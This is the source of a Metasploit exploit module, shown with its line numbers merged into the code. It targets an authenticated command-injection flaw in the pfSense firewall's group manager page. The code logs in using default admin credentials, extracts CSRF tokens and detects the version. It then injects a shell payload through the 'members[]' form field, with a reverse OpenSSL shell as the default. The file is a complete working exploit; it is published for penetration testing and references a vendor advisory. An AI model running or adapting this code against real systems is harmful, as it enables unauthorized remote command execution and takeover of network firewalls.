Path: blob/master/modules/exploits/unix/http/pfsense_group_member_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'pfSense authenticated group member RCE',15'Description' => %q{16pfSense, a free BSD based open source firewall distribution,17version <= 2.3.1_1 contains a remote command execution18vulnerability post authentication in the system_groupmanager.php page.19Verified against 2.2.6 and 2.3.20},21'Author' => [22's4squatch', # discovery23'h00die' # module24],25'References' => [26[ 'EDB', '43128' ],27[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']28],29'License' => MSF_LICENSE,30'Platform' => 'unix',31'Privileged' => false,32'DefaultOptions' => {33'SSL' => true,34'PAYLOAD' => 'cmd/unix/reverse_openssl'35},36'Arch' => [ ARCH_CMD ],37'Payload' => {38'Compat' =>39{40'PayloadType' => 'cmd',41'RequiredCmd' => 'perl openssl'42}43},44'Targets' => [45[ 'Automatic Target', {}]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2017-11-06',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptString.new('USERNAME', [ true, 'User to login with', 'admin']),60OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),61Opt::RPORT(443)62], self.class63)64end6566def login67res = send_request_cgi(68'uri' => '/index.php',69'method' => 'GET'70)71fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?72fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 2007374/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body75fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?76vprint_status("CSRF Token for login: #{csrf}")7778res = send_request_cgi(79'uri' => '/index.php',80'method' => 'POST',81'vars_post' => {82'__csrf_magic' => csrf,83'usernamefld' => datastore['USERNAME'],84'passwordfld' => datastore['PASSWORD'],85'login' => ''86}87)88unless res89fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")90end91if res.code == 30292vprint_status('Successful Authentication')93return res.get_cookies94else95fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")96return nil97end98end99100def detect_version(cookie)101res = send_request_cgi(102'uri' => '/index.php',103'method' => 'GET',104'cookie' => cookie105)106unless res107fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")108end109/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body110if version111print_status("pfSense Version Detected: #{version}")112return Rex::Version.new(version)113end114# If the device isn't fully setup, you get stuck at redirects to wizard.php115# however, this does NOT stop exploitation strangely116print_error("pfSens Version Not Detected or wizard still enabled.")117Rex::Version.new('0.0')118end119120def check121begin122res = send_request_cgi(123'uri' => '/index.php',124'method' => 'GET'125)126fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?127fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200128if /Login to pfSense/ =~ res.body129Exploit::CheckCode::Detected130else131Exploit::CheckCode::Safe132end133rescue ::Rex::ConnectionError134fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")135end136end137138def exploit139begin140cookie = login141version = detect_version(cookie)142vprint_good('Login Successful')143res = send_request_cgi(144'uri' => '/system_groupmanager.php',145'method' => 'GET',146'cookie' => cookie,147'vars_get' => {148'act' => 'new'149}150)151152/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body153fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?154vprint_status("CSRF Token for group creation: #{csrf}")155156group_name = rand_text_alpha(10)157post_vars = {158'__csrf_magic' => csrf,159'groupname' => group_name,160'description' => '',161'members[]' => "0';#{payload.encoded};'",162'groupid' => '',163'save' => 'Save'164}165if version >= Rex::Version.new('2.3')166post_vars = post_vars.merge('gtype' => 'local')167elsif version <= Rex::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed168post_vars = post_vars.merge(169'act' => '',170'gtype' => '',171'privid' => ''172)173end174send_request_cgi(175'uri' => '/system_groupmanager.php',176'method' => 'POST',177'cookie' => cookie,178'vars_post' => post_vars,179'vars_get' => {180'act' => 'edit'181}182)183print_status("Manual removal of group #{group_name} is required.")184rescue ::Rex::ConnectionError185fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")186end187end188end189190191